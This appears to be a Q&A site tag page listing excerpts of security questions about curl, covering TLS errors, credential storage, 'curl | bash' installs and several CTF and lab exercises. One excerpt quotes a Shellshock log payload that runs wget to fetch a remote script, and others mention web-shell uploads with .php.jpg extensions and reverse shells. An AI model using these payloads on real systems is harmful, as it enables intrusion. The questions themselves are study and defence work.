Questions tagged [curl]
An open source command line utility for transferring data using URL syntax with support for many protocols including FTP, HTTP, HTTPS, various mail protocols (including IMAP, POP3, and SMTP) and others
66 questions
2
votes
0
answers
56
views
Trying to send a POST request using curl to a HTB machine
I`m trying to perform a SSRF attack on a Hack The Box machine (editorial.htb). I'm trying to send a POST request using curl with the command
curl --data "hckyou.txt" -X POST http://...
0
votes
0
answers
178
views
How do I set up a secure .netrc for curl used in crontab job?
I have a cron job which runs a curl command using .netrc to provide authentication needed to access the url curl is using. However the credentials stored in .netrc are currently in plain text. The ....
0
votes
1
answer
115
views
cURL not returning status 302 after correct login for Hack the Box Machine 'Crocodile'
cURL is returning a 200 status code after correct login. The common response code after user login should be 302. Why am I not receiving this status code? All information is provided below.
#!/usr/bin/...
0
votes
0
answers
517
views
How to properly use cURL --data-binary to send a request payload
This question is out of pure curiosity. I know I can send multipart formposts using curl's --form/-F option. However, I was curious to see if the same can be done with the --data-binary option? For ...
0
votes
1
answer
124
views
Issue uploading a file with cURL to WebSecurityAcademy Lab on PortSwigger.com
I want to solve an apprentice-level lab on PortSwigger.com focused on file upload vulnerabilities; the lab is called Remote code execution via web shell upload. The labs on PortSwigger.com encourage ...
0
votes
2
answers
230
views
Post Exploitation in Oracle web logic server 10.35 (Oracle Linux Server 3.8)
Web Server : Oracle WebLogic 10.35
Machine : Oracle Linux Server 3.8
I was able to partially exploit this CVE. I can execute any command on server using HTTP request and redirecting its output to a ...
1
vote
3
answers
2k
views
How to block a POST curl request
My WordPress website received a couple of fake subscriptions to the newsletter. I identified the logs, most of them with the same form as below:
xx.xx.xx.xx example.com - [04/Feb/2023:06:01:42 +0100] &...
1
vote
1
answer
4k
views
is it necessary for cURL to check for CRL in Windows?
I'm trying to set up cURL to get data from remote server at any sitaution. I use --tlsv1.3 --tls13-ciphers TLS_CHACHA20_POLY1305_SHA256 --http2 to make it as secure as I can think of, using Windows 11....
1
vote
1
answer
106
views
Validate HTTPS traffic at later time [duplicate]
I want to capture HTTPS traffic, save it, and validate it at a later time. I want to ensure that at a later time I'm able to validate the HTTPS traffic using the certificate which was presented at the ...
0
votes
1
answer
914
views
Url only works from the browser it is generated from. Copying it into a Curl Command fails, and gives a 403 error. How can I fix this?
I am doing some web scraping for streaming files, .m3u8 mime type. In this particular instance, I can't create a functional request that does not end up with a 403 Forbidden error.
How to reproduce:
...
0
votes
1
answer
466
views
Does using the "-k" flag with curl disable only the certificate verification?
I'm writing an API which is running on my own web server written in Go. I have a local environment set up to run it all under HTTS using a self signed cert and it all works great. It all works and I ...
1
vote
1
answer
4k
views
SSL error when using curl with only trusted root certificate but server is already returning full certificate chain
My SSL server uses the following certificate setup: leaf -> intermediate -> root (trusted ca). I have verified using openssl that it's returning both leaf and intermediate certificate (at least ...
0
votes
0
answers
4k
views
Certificate subject name 'xxx' does not match target host name 'yyy' [duplicate]
I have golang app that works as server which a single client accesses by the IP hostname (aaa.bbb.ccc.ddd). Trying to implement mTLS.
Since I have only one client, its cert/key pair (myclient.crt/...
0
votes
1
answer
1k
views
Does copying cookies allow attackers to view pages that should be visible only after login?
TLDR;
Copying the request from ChromeDevTools along with all cookies allows me to view pages that I should not be able to view after logging in.
Have I been pwned ?
I just found a terrifyingly easy ...
1
vote
1
answer
395
views
Why if a server response contain both Public: TRACE and Allow: TRACE then responds with 405 NOT allowed?
SCENARIO:
I'm testing a web application. To test if TRACE is enabled I used both
nmap --script http-methods target.com
and
curl -k -i -X OPTIONS target.com
After running the former I get
443/tcp ...
1
vote
1
answer
1k
views
Can it be dangerous to curl without any option an HTTP address?
I wanted to know my external IP address from the command line. I found this answer on Ask Ubuntu: Command for determining my public IP? which suggests to use
curl -s https://checkip.dyndns.org | sed -...
0
votes
2
answers
2k
views
Can't execute shell i uploaded with cURL
I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension.
When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
18
votes
5
answers
14k
views
HTTPS connection to specific sites fail with cURL on macOS
On my Mac, HTTPS connnections to certain sites fail using the built-in curl binary of macOS 10.14. They work fine with different browsers, as well as other builds of cURL on the same system. One of ...
2
votes
1
answer
265
views
Seems my CNAMEs got "curled". Somebody please explain this to me
According to my CloudFlare firewall logs, somebody went through each of my subdomains. My website is not advertised, it doesn't even show on Google unless typing the exact domain name into it. I think ...
1
vote
0
answers
107
views
Is it possible to exploit php curl? [duplicate]
I have been working on a project and I wonder if it's possible to exploit curl_exec function while in PHP.
Scenario:
I have the PHP script that checks a domain for me, but the curl is not secured, ...
0
votes
0
answers
670
views
Linux curl SH script broken unless I specify TLS version
I was going to post this on a different SE site, but I found that explicitly stating --tlsv1.1 to curl fixed the problem, for now. My question now relates to security.
A vendor switched to FTPS (not ...
3
votes
1
answer
1k
views
Sending a reverse shell command through the drupalgeddon vulnerability isn't working
I'm trying to use the Drupalgeddon2 exploit (https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708) on drupal 7.57 ubuntu machine.
the requests:
-curl -k -s 'http://192.168.204.141/?q=...
0
votes
1
answer
11k
views
What is the meaning of this TLS output: TLSv1.2 (OUT), TLS alert, Client hello (1)
I'm downloading a small sample tar file using curl and outputting verbose log to see the details:
curl -v -H 'Connection: close' https://ftp.gnu.org/gnu/gcc/gcc-2.95.1/gcc-objc-2.95.1.tar.gz > /...
57
votes
9
answers
13k
views
Is `curl {something} | sudo bash -` a reasonably safe installation method?
The most straightforward way to install NodeJS on Ubuntu or Debian seems to be Nodesource, whose installation instructions say to run:
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
...
0
votes
1
answer
207
views
How to securely host downloadable source code
As a follow up to The most secure way to allow downloading and installing an app on Mac, Windows, or Linux, I am wondering how one (such as I) may go about creating a new framework for hosting ...
0
votes
1
answer
2k
views
Unable to intercept android app traffic neither in Burp Suite nor in Network Profiler. Can anyone help?
I need to perform MITM attack on an app which doesn't use HttpURLConnection and OkHttp libraries for network connection.
Analysis :
Configured burp on the devices, able to capture request of Chrome ...
37
votes
3
answers
11k
views
Is it insecure to send a password in a `curl` command?
Here’s an example request we can make to the GitHub API:
curl 'https://api.github.com/authorizations' --user "USERNAME"
This will prompt for the account password, to continue:
Enter host password ...
0
votes
2
answers
832
views
Will it be a crime if I post data into someone's website using cURL? [closed]
I found a website which is not secure and tried to post a form on that site using cURL request in PHP and it worked successfully.
However, that is a simple site with contact form and no special or ...
3
votes
2
answers
670
views
Can cURL block a rogue CA?
I know which Certificate Authority (CA) my server uses for its TLS certs.
My client system also knows who the CA is.
When I use cURL, I can specify --cacert to specify a custom CA file to use, but ...
8
votes
2
answers
6k
views
Certificate works in Chrome + Firefox but not with curl ("unable to get local issuer certificate") with the recent cacert.pem
I am trying to connect to a site behind a firewall, that is why I cannot share the URL for verification.
$ curl -vvvv https://example.com:8080/foo/ba/?wsdl --cacert /tmp/cacert-2018-12-05.pem
* ...
0
votes
1
answer
8k
views
ssl handshake failure unable to get local issuer certificate
I have an issue with new integration that I am working on it.
I should consume a web service provided by external company and this service is over https, so in order to integrate with them, they have ...
1
vote
3
answers
15k
views
Leveraging curl to spawn a shell
So I'm doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for curl in order to transverse down the directory and display the root flag in a report that ...
5
votes
4
answers
24k
views
Is it possible to execute a local file or code from cURL?
I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax:
curl "local file"
I was looking for possible solutions and found that to read the ...
0
votes
1
answer
1k
views
Secure file encryption with OpenSSL and a little trick?
I try to really securely encrypt a file with OpenSSL. I´m new to OpenSSL and just read here, that it´s not very secure due to it´s behavior in generating salt & IV, and storing it within the ...
0
votes
1
answer
246
views
How curl provided source code that the browser did not?
I was playing a CTF and got stuck. When seeing the source code through web browser reveals nothing but when we send the request through curl it reveals out HIDDEN directory. How is it even possible? ...
2
votes
2
answers
278
views
Network provider blocking URL, even though connection made to IP
I came across an interesting case today, which with my limited knowledge I'm unable to understand the working of.
I was trying to access a bit.ly link, but it is blocked by my University.
Knowing ...
0
votes
1
answer
227
views
Extra secure layer to cURL calls
I'm trying to figure out how to add an extra security layer to my WebApp cURL calls going to my API Engine.
I have a WebApp that sends data to an API engine I made.
My API will have access to the ...
-1
votes
1
answer
461
views
Unable to utilise curl commands on website [closed]
There is a free online SMS service called globfone which allows you to send free text messages via their website. However, I'm looking to integrate this functionality into a script through curl. But ...
0
votes
3
answers
4k
views
Is there any security threat of using 'curl https://ipinfo.io/ip' to find our IP?
I need to find out the public-ip of an EC2 instance. I was trying this command:
curl https://ipinfo.io/ip
Is there any security threat of using that method? Like exposing our IP or something?
2
votes
1
answer
210
views
Is my application affected by curl vulnerabilities if using HTTPS with a single server?
To this day two vulnerabilities are known in curl 7.57.0. Both are related to HTTP:
HTTP authentication leak in redirects
HTTP/2 trailer out-of-bounds read
My application uses this version of curl ...
0
votes
1
answer
2k
views
TLS header in content portion of HTTPS POST request hot handled well
We are trying to communicate from an embedded application to a device via HTTPS protocol. We are having difficulty doing so from the embedded application but can do so successfully from say Windows ...
4
votes
2
answers
2k
views
Do browsers and tools send `SNI` field by default connecting to https endpoints?
I am setting up HaProxy for https in passthrough (tcp) mode without SSL/TLS termination. I want to be able to route traffic to different backends based on hostname requested by a client.
From HaProxy ...
0
votes
0
answers
150
views
Resources explaining why `curl | bash` and similar installation instructions are a security hazard?
I'm getting tired of explaining to people why downloading some arbitrary text file (script) from the internet with curl or wget or whatever and executing it with bash or some other script interpreter ...
1
vote
2
answers
3k
views
CURLOPT_SSL_VERIFYPEER and potential security issues
In PHP/curl I coded a simple login to a WordPress-based website to login to WP from a mobile client (an iOS app). The website supports https, it is hosted in a shared hosting environment and the ...
71
votes
1
answer
10k
views
Why is there no certificate error while visiting google.net although it presents a certificate issued to google.com?
The following output shows that google.net is presenting a certificate
that has been issued to www.google.com.
$ openssl s_client -connect google.net:443 < /dev/null > out.txt 2>&1; cat ...
4
votes
1
answer
2k
views
Can the real IP address leak using curl via Tor?
Having seen Tor via Python - can the real IP address leak? I am no longer sure whether or not using
curl -L --insecure -C - --socks5 localhost:9150 -H "User-Agent: " check.torproject.org
is as ...
1
vote
1
answer
399
views
Is it possible to exploit a server using an C library with a vulnerability?
A server has an old libcurl with the vulnerability CVE-2013-2174. As the documentation says:
it unlikely that programs allow user-provided strings unfiltered into
this function.
My question is: ...
2
votes
2
answers
5k
views
Are there risks to allowing cURL from my machine?
I currently have several update scripts that I run periodically, which use curl to pull and install updates from various places. In my current configuration however, I have curl blocked by my firewall,...
8
votes
1
answer
1k
views
Shellshock Exploit evidence - is this a successful attack
I was looking through logs today and noticed the following:
62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /...
1
vote
1
answer
3k
views
Unable to use PUT method on server seemingly allowing PUT [closed]
I've just scanned a target and noticed that HTTP PUT is allowed.
So, just to verify I used nmap:
# nmap --script http-methods <IP>
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-11 ...